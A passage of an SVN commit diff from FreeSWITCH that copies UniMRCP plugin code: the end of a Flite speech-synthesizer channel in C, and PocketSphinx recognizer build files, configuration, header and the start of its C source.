+		else {
+			apt_log(APT_LOG_MARK, APT_PRIO_WARNING, "Speak task start failed - channel %d", synth_channel->iId);
+		}
+	}
+
+	return mrcp_engine_channel_open_respond(channel,FALSE);
+}
+
+/** Close engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t flite_synth_channel_close(mrcp_engine_channel_t *channel)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_channel_close - channel %d", synth_channel->iId);
+
+	if(synth_channel->task) {
+		if(apt_task_terminate(synth_channel->task,FALSE) == TRUE) {
+			/* async response will be sent */
+			return TRUE;
+		}
+		else {
+			apt_log(APT_LOG_MARK, APT_PRIO_WARNING, "Speak task terminate failed - channel %d", synth_channel->iId);
+		}
+	}
+	return mrcp_engine_channel_close_respond(channel);
+}
+
+/** Process MRCP channel request (asynchronous response MUST be sent)*/
+static apt_bool_t flite_synth_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	mrcp_message_t *response = mrcp_response_create(request,request->pool);
+	apt_bool_t processed = FALSE;
+
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_channel_request_process - channel %d", synth_channel->iId);
+
+	switch(request->start_line.method_id) {
+		case SYNTHESIZER_SET_PARAMS:
+			break;
+		case SYNTHESIZER_GET_PARAMS:
+			break;
+		case SYNTHESIZER_SPEAK:
+			processed = flite_synth_channel_speak(channel,request,response);
+			break;
+		case SYNTHESIZER_STOP:
+			processed = flite_synth_channel_stop(channel,request,response);
+			break;
+		case SYNTHESIZER_PAUSE:
+			processed = flite_synth_channel_pause(channel,request,response);
+			break;
+		case SYNTHESIZER_RESUME:
+			processed = flite_synth_channel_resume(channel,request,response);
+			break;
+		case SYNTHESIZER_BARGE_IN_OCCURRED:
+			processed = flite_synth_channel_stop(channel,request,response);
+			break;
+		case SYNTHESIZER_CONTROL:
+			break;
+		case SYNTHESIZER_DEFINE_LEXICON:
+			break;
+		default:
+			break;
+	}
+	if(processed == FALSE) {
+		/* send asynchronous response for not handled request */
+		mrcp_engine_channel_message_send(channel,response);
+	}
+	return TRUE;
+}
+
+/** Process SPEAK request */
+static apt_bool_t synth_response_construct(mrcp_message_t *response, mrcp_status_code_e status_code, mrcp_synth_completion_cause_e completion_cause)
+{
+	mrcp_synth_header_t *synth_header = mrcp_resource_header_prepare(response);
+	if(!synth_header) {
+		return FALSE;
+	}
+
+	response->start_line.status_code = status_code;
+	synth_header->completion_cause = completion_cause;
+	mrcp_resource_header_property_add(response,SYNTHESIZER_HEADER_COMPLETION_CAUSE);
+	return TRUE;
+}
+
+/** Process SPEAK request */
+static apt_bool_t flite_synth_channel_speak(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_generic_header_t *generic_header;
+	const char *content_type = NULL;
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	apt_task_msg_t *msg = 0;
+	flite_speak_msg_t *flite_msg = 0;
+	apt_log(APT_LOG_MARK, APT_PRIO_INFO, "flite_synth_channel_speak - channel %d", synth_channel->iId);
+
+	generic_header = mrcp_generic_header_get(request);
+	if(generic_header) {
+		/* content-type must be specified */
+		if(mrcp_generic_header_property_check(request,GENERIC_HEADER_CONTENT_TYPE) == TRUE) {
+			content_type = generic_header->content_type.buf;
+		}
+	}
+	if(!content_type) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Missing Content-Type");
+		synth_response_construct(response,MRCP_STATUS_CODE_MISSING_PARAM,SYNTHESIZER_COMPLETION_CAUSE_ERROR);
+		return FALSE;
+	}
+
+	/* Flite currently supports only text/plain (no SSML) */
+	if(strstr(content_type,"text") == NULL) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Not Supported Content-Type [%s]",content_type);
+		synth_response_construct(response,MRCP_STATUS_CODE_UNSUPPORTED_PARAM_VALUE,SYNTHESIZER_COMPLETION_CAUSE_ERROR);
+		return FALSE;
+	}
+
+	synth_channel->speak_request = request;
+	synth_channel->speak_response = response;
+
+	msg = apt_task_msg_acquire(synth_channel->msg_pool);
+	msg->type = TASK_MSG_USER;
+	flite_msg = (flite_speak_msg_t*) msg->data;
+	flite_msg->channel = synth_channel;
+	flite_msg->request = request;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG, "Send signal to start speech synthesis - channel:%d", synth_channel->iId);
+	if(apt_task_msg_signal(synth_channel->task,msg) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING, "Failed to send signal to start speech synthesis - channel:%d", synth_channel->iId);
+		synth_channel->speak_request = NULL;
+		synth_channel->speak_response = NULL;
+		synth_response_construct(response,MRCP_STATUS_CODE_METHOD_FAILED,SYNTHESIZER_COMPLETION_CAUSE_ERROR);
+		return FALSE;
+	}
+	return TRUE;
+}
+
+static apt_bool_t flite_speak(apt_task_t *task, apt_task_msg_t *msg)
+{
+	flite_speak_msg_t *flite_msg = (flite_speak_msg_t*)msg->data;
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) flite_msg->channel;
+	cst_wave *wave = NULL;
+	cst_voice *voice = NULL;
+	apr_time_t start = 0;
+	apr_time_t elapsed = 0;
+	apr_time_t stamp = 0;
+	apt_str_t *body;
+	mrcp_message_t *response;
+
+	mpf_codec_t * codec = mrcp_engine_source_stream_codec_get(synth_channel->channel);
+	apr_uint16_t rate = codec->descriptor->sampling_rate;
+	body = &synth_channel->speak_request->body;
+
+	response = synth_channel->speak_response;
+	synth_channel->speak_response = NULL;
+
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "< flite_speak_msg_process speak - channel %d", synth_channel->iId);
+	
+	/* just sequential stuff */
+	start = apr_time_now();	/* in microsec */
+	if(!body->length) {
+		synth_channel->speak_request = NULL;
+		synth_response_construct(response,MRCP_STATUS_CODE_MISSING_PARAM,SYNTHESIZER_COMPLETION_CAUSE_ERROR);
+		mrcp_engine_channel_message_send(synth_channel->channel,response);
+		return FALSE;
+	}
+
+	voice = flite_voices_best_match_get(
+							synth_channel->flite_engine->voices,
+							synth_channel->speak_request);
+	if(!voice) {
+		/* error case: no voice found, appropriate respond must be sent */
+		synth_channel->speak_request = NULL;
+		synth_response_construct(response,MRCP_STATUS_CODE_METHOD_FAILED,SYNTHESIZER_COMPLETION_CAUSE_ERROR);
+		mrcp_engine_channel_message_send(synth_channel->channel,response);
+		return FALSE;
+	}
+
+	/* 
+	TODO 
+	create small units of text from synth_channel->speak_request->body.buf ( , . ? ! but ...
+	synthesize small unit and store in audio_buffer
+	check for stop 
+	pause resume state could improve performance 
+	you can "pause" generating new speech from a unit of text 
+	by checking the (decreasing) size of the audio_buffer
+	no need to generate more speech samples than can be listened to...	
+	*/
+
+	/* send in-progress response and start synthesizing */
+	response->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	mrcp_engine_channel_message_send(synth_channel->channel,response);
+	
+	synth_channel->synthesizing = TRUE;
+	wave = flite_text_to_wave(body->buf, voice);
+	if(wave && cst_wave_num_samples(wave)) {
+		int generated = (cst_wave_num_samples(wave)/cst_wave_sample_rate(wave)*1000);
+		stamp = apr_time_now();
+		elapsed = (stamp - start)/1000;
+		apt_log(APT_LOG_MARK, APT_PRIO_INFO, "TTS (chan %d) took %"APR_TIME_T_FMT" to generate %d of speech (in millisec)", synth_channel->iId, elapsed, generated);
+
+		if(rate != 16000) {
+			cst_wave_resample(wave, rate);
+			elapsed = (apr_time_now() - stamp)/1000;
+			apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "TTS resampling to %d on (chan %d) took %"APR_TIME_T_FMT" millisec", rate, synth_channel->iId, elapsed);
+		}
+		mpf_buffer_audio_write(synth_channel->audio_buffer, cst_wave_samples(wave), cst_wave_num_samples(wave) * 2);
+		delete_wave(wave);
+	}
+
+	/* this will notify the callback that feeds the client that synthesis is complete */
+	mpf_buffer_event_write(synth_channel->audio_buffer, MEDIA_FRAME_TYPE_EVENT);
+	synth_channel->synthesizing = FALSE;
+
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "> flite_speak_msg_process speak - end of TTS - %d", synth_channel->iId);
+	return TRUE;
+}
+
+static APR_INLINE flite_synth_channel_t* flite_synth_channel_get(apt_task_t *task)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	return apt_consumer_task_object_get(consumer_task);
+}
+
+static apt_bool_t flite_on_start(apt_task_t *task)
+{
+	flite_synth_channel_t *synth_channel = flite_synth_channel_get(task);
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "Speak task started - channel %d", synth_channel->iId);
+	return mrcp_engine_channel_open_respond(synth_channel->channel,TRUE);
+}
+
+static apt_bool_t flite_on_terminate(apt_task_t *task)
+{
+	flite_synth_channel_t *synth_channel = flite_synth_channel_get(task);
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "Speak task terminated - channel %d", synth_channel->iId);
+	return mrcp_engine_channel_close_respond(synth_channel->channel);
+}
+
+/** Process STOP request */
+static apt_bool_t flite_synth_channel_stop(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_channel_stop - channel %d", synth_channel->iId);
+	/* store the request, make sure there is no more activity and only then send the response */
+
+	synth_channel->stop_response = response;
+	return TRUE;
+}
+
+/** Process PAUSE request */
+static apt_bool_t flite_synth_channel_pause(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_channel_pause - channel %d", synth_channel->iId);
+	
+	synth_channel->paused = TRUE;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process RESUME request */
+static apt_bool_t flite_synth_channel_resume(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_channel_resume - channel %d", synth_channel->iId);
+
+	synth_channel->paused = FALSE;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Raise SPEAK-COMPLETE event */
+static apt_bool_t flite_synth_speak_complete_raise(flite_synth_channel_t *synth_channel)
+{
+	mrcp_message_t *message = 0;
+	mrcp_synth_header_t * synth_header = 0;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_speak_complete_raise - channel %d", synth_channel->iId);
+
+	if (!synth_channel->speak_request) {
+		return FALSE;
+	}
+
+	message = mrcp_event_create(
+						synth_channel->speak_request,
+						SYNTHESIZER_SPEAK_COMPLETE,
+						synth_channel->speak_request->pool);
+	if (!message) {
+		return FALSE;
+	}
+
+	/* get/allocate synthesizer header */
+	synth_header = (mrcp_synth_header_t *) mrcp_resource_header_prepare(message);
+	if (synth_header) {
+		/* set completion cause */
+		synth_header->completion_cause = SYNTHESIZER_COMPLETION_CAUSE_NORMAL;
+		mrcp_resource_header_property_add(message,SYNTHESIZER_HEADER_COMPLETION_CAUSE);
+	}
+	/* set request state */
+	message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+
+	synth_channel->speak_request = NULL;
+	/* send asynch event */
+	return mrcp_engine_channel_message_send(synth_channel->channel,message);
+}
+
+/** Callback is called from MPF engine context to read/get new frame */
+static apt_bool_t flite_synth_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) stream->obj;
+	if(synth_channel->stop_response && synth_channel->synthesizing == FALSE) {
+		/* send asynchronous response to STOP request */
+		mrcp_message_t *stop_response = synth_channel->stop_response;
+		synth_channel->stop_response = NULL;
+		synth_channel->speak_request = NULL;
+		synth_channel->paused = FALSE;
+		mrcp_engine_channel_message_send(synth_channel->channel,stop_response);
+		return TRUE;
+	}
+
+	/* check if there is active SPEAK request and it isn't in paused state */
+	if(synth_channel->speak_request && synth_channel->paused == FALSE) {
+		/* normal processing */
+		mpf_buffer_frame_read(synth_channel->audio_buffer,frame);
+//		apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_stream_read - channel %d - size %d", synth_channel->iId, mpf_buffer_get_size(synth_channel->audio_buffer));
+
+		if((frame->type & MEDIA_FRAME_TYPE_EVENT) == MEDIA_FRAME_TYPE_EVENT) {
+			flite_synth_speak_complete_raise(synth_channel);
+		}
+	}
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+MAINTAINERCLEANFILES 	    = Makefile.in
+
+INCLUDES                    = -Iinclude \
+                              -I$(top_srcdir)/libs/mrcp-engine/include \
+                              -I$(top_srcdir)/libs/mrcp/include \
+                              -I$(top_srcdir)/libs/mrcp/message/include \
+                              -I$(top_srcdir)/libs/mrcp/control/include \
+                              -I$(top_srcdir)/libs/mrcp/resources/include \
+                              -I$(top_srcdir)/libs/mpf/include \
+                              -I$(top_srcdir)/libs/apr-toolkit/include \
+                             $(UNIMRCP_APR_INCLUDES) \
+                             $(UNIMRCP_APU_INCLUDES) \
+                             $(UNIMRCP_SPHINXBASE_INCLUDES) \
+                             $(UNIMRCP_POCKETSPHINX_INCLUDES)
+
+plugin_LTLIBRARIES          = mrcppocketsphinx.la
+
+mrcppocketsphinx_la_SOURCES = src/mrcp_pocketsphinx.c \
+                              src/pocketsphinx_properties.c
+mrcppocketsphinx_la_LDFLAGS = -module $(PLUGIN_LT_VERSION)
+mrcppocketsphinx_la_LIBADD  = $(UNIMRCP_POCKETSPHINX_LIBS) $(UNIMRCP_SPHINXBASE_LIBS) -lm
+
+
+install-data-local:
+	test -d $(confdir) || $(mkinstalldirs) $(confdir)
+	test -f $(confdir)/pocketsphinx.xml || $(INSTALL) -m 644 conf/pocketsphinx.xml $(confdir)
+	test -d $(datadir)/wsj1 || $(mkinstalldirs) $(datadir)/wsj1; \
+			$(INSTALL) -m 644 $(UNIMRCP_POCKETSPHINX_MODELS)/hmm/wsj1/* $(datadir)/wsj1; \
+			$(INSTALL) -m 644 $(UNIMRCP_POCKETSPHINX_MODELS)/lm/cmudict.0.6d $(datadir)/default.dic

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/conf (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/conf)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/conf/pocketsphinx.xml

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/conf/pocketsphinx.xml (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/conf/pocketsphinx.xml) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/conf/pocketsphinx.xml	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/conf/pocketsphinx.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+<!-- PocketSphinx Document -->
+<pocketsphinx>
+  <!-- Senstitivity level and timeout are used for voice activity (speech) detection 
+       reasonable values: level is in [2..250] range, timeout is in [100..500] msec range
+  -->
+  <sensitivity level="50" timeout="300"/>
+
+  <!-- Default values for noinput and recognition timeout,
+       these values can be overriden by client's requests
+  -->
+  <timers noinput-timeout="10000" recognition-timeout="15000"/>
+
+
+  <!-- PocketSphinx related model and dictionary data.
+       Default dir (dir="") is InstallDir/data
+  -->
+  <model dir="" narrowband="communicator" wideband="wsj1" dictionary="default.dic" preferred="narrowband"/>
+  <!-- <model dir="/usr/local/freeswitch/grammar" narrowband="model/communicator" wideband="model/wsj1" dictionary="default.dic"/> -->
+
+  <!-- Enable to save utterance.
+       Default dir (dir="") is InstallDir/data
+  -->
+  <save-waveform dir="" enable="0"/>
+</pocketsphinx>

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/include (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/include/pocketsphinx_properties.h

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/include/pocketsphinx_properties.h (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/include/pocketsphinx_properties.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/include/pocketsphinx_properties.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/include/pocketsphinx_properties.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __POCKETSPHINX_PROPERTIES_H__
+#define __POCKETSPHINX_PROPERTIES_H__
+
+/**
+ * @file pocketsphinx_properties.h
+ * @brief PocketSphinx Properties
+ */ 
+
+#include "apt_dir_layout.h"
+
+APT_BEGIN_EXTERN_C
+
+typedef enum {
+	POCKETSPHINX_MODEL_NARROWBAND,
+	POCKETSPHINX_MODEL_WIDEBAND
+
+} pocketsphinx_model_e;
+
+/** Declaration of pocketsphinx properties */
+typedef struct pocketsphinx_properties_t pocketsphinx_properties_t;
+
+/** Pocketsphinx properties */
+struct pocketsphinx_properties_t {
+	const char          *data_dir;
+	const char          *dictionary;
+	const char          *model_8k;
+	const char          *model_16k;
+	pocketsphinx_model_e preferred_model;
+
+	apr_size_t           sensitivity_level;
+	apr_size_t           sensitivity_timeout;
+
+	apr_size_t           no_input_timeout;
+	apr_size_t           recognition_timeout;
+	apr_size_t           partial_result_timeout;
+
+	apt_bool_t           save_waveform;
+	const char          *save_waveform_dir;
+};
+
+apt_bool_t pocketsphinx_properties_load(pocketsphinx_properties_t *properties, 
+										const char *file_path, 
+										const apt_dir_layout_t *dir_layout,
+										apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__POCKETSPHINX_PROPERTIES_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/mrcppocketsphinx.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/mrcppocketsphinx.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/mrcppocketsphinx.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/mrcppocketsphinx.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/mrcppocketsphinx.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,173 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcppocketsphinx"
+	ProjectGUID="{3C614AE8-B611-4D43-A9AF-1CAA440A9F69}"
+	RootNamespace="mrcppocketsphinx"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\pocketsphinx.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\pocketsphinx.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\pocketsphinx_properties.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_pocketsphinx.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\pocketsphinx_properties.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/mrcp_pocketsphinx.c

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/mrcp_pocketsphinx.c (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-pocketsphinx/src/mrcp_pocketsphinx.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/mrcp_pocketsphinx.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-pocketsphinx/src/mrcp_pocketsphinx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,913 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Some mandatory rules for plugin implementation.
+ * 1. Each plugin MUST contain the following function as an entry point of the plugin
+ *        MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+ * 2. One and only one response MUST be sent back to the received request.
+ * 3. Methods (callbacks) of the MRCP engine channel MUST not block.
+ *   (asynch response can be sent from the context of other thread)
+ * 4. Methods (callbacks) of the MPF engine stream MUST not block.
+ */
+
+#include <pocketsphinx.h>
+#include <apr_thread_cond.h>
+#include <apr_thread_proc.h>
+#include <apr_tables.h>
+#include <apr_file_io.h>
+#include "mrcp_resource_engine.h"
+#include "mrcp_recog_resource.h"
+#include "mrcp_recog_header.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_message.h"
+#include "mpf_activity_detector.h"
+#include "pocketsphinx_properties.h"
+#include "apt_log.h"
+
+#define POCKETSPHINX_CONFFILE_NAME "pocketsphinx.xml"
+
+#define RECOGNIZER_SIDRES(recognizer) (recognizer)->channel->id.buf, "pocketsphinx"
+
+typedef struct pocketsphinx_engine_t pocketsphinx_engine_t;
+typedef struct pocketsphinx_recognizer_t pocketsphinx_recognizer_t;
+
+/** Methods of recognition engine */
+static apt_bool_t pocketsphinx_engine_destroy(mrcp_resource_engine_t *engine);
+static apt_bool_t pocketsphinx_engine_open(mrcp_resource_engine_t *engine);
+static apt_bool_t pocketsphinx_engine_close(mrcp_resource_engine_t *engine);
+static mrcp_engine_channel_t* pocketsphinx_engine_recognizer_create(mrcp_resource_engine_t *engine, apr_pool_t *pool);
+
+static const struct mrcp_engine_method_vtable_t engine_vtable = {
+	pocketsphinx_engine_destroy,
+	pocketsphinx_engine_open,
+	pocketsphinx_engine_close,
+	pocketsphinx_engine_recognizer_create
+};
+
+
+/** Methods of recognition channel (recognizer) */
+static apt_bool_t pocketsphinx_recognizer_destroy(mrcp_engine_channel_t *channel);
+static apt_bool_t pocketsphinx_recognizer_open(mrcp_engine_channel_t *channel);
+static apt_bool_t pocketsphinx_recognizer_close(mrcp_engine_channel_t *channel);
+static apt_bool_t pocketsphinx_recognizer_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request);
+
+static const struct mrcp_engine_channel_method_vtable_t channel_vtable = {
+	pocketsphinx_recognizer_destroy,
+	pocketsphinx_recognizer_open,
+	pocketsphinx_recognizer_close,
+	pocketsphinx_recognizer_request_process
+};
+
+/** Methods of audio stream to recognize  */
+static apt_bool_t pocketsphinx_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t audio_stream_vtable = {
+	NULL, /* destroy */
+	NULL, /* open_rx */
+	NULL, /* close_rx */
+	NULL, /* read_frame */
+	NULL, /* open_tx */
+	NULL, /* close_tx */
+	pocketsphinx_stream_write
+};
+
+/** Pocketsphinx engine (engine is an aggregation of recognizers) */
+struct pocketsphinx_engine_t {
+	/* Resource engine base */
+	mrcp_resource_engine_t   *base;
+	/** Properties loaded from config file */
+	pocketsphinx_properties_t properties;
+};
+
+/** Pocketsphinx channel (recognizer) */
+struct pocketsphinx_recognizer_t {
+	/** Engine channel base */
+	mrcp_engine_channel_t    *channel;
+
+	/** Actual recognizer object */
+	ps_decoder_t             *decoder;
+	/** Configuration */
+	cmd_ln_t                 *config;
+	/** Recognizer properties coppied from defualt engine properties */
+	pocketsphinx_properties_t properties;
+	/** Is input timer started */
+	apt_bool_t                is_input_timer_on;
+	/** Noinput timeout */
+	apr_size_t                no_input_timeout;
+	/** Recognition timeout */
+	apr_size_t                recognition_timeout;
+	/** Timeout elapsed since the last partial result checking */
+	apr_size_t                partial_result_timeout;
+	/** Last (partially) recognized result */
+	const char               *last_result;
+	/** Active grammar identifier (content-id) */
+	const char               *grammar_id;
+	/** Table of defined grammars (key=content-id, value=grammar-file-path) */
+	apr_table_t              *grammar_table;
+	/** File to write waveform to if save_waveform is on */
+	apr_file_t               *waveform;
+
+	/** Voice activity detector */
+	mpf_activity_detector_t  *detector;
+
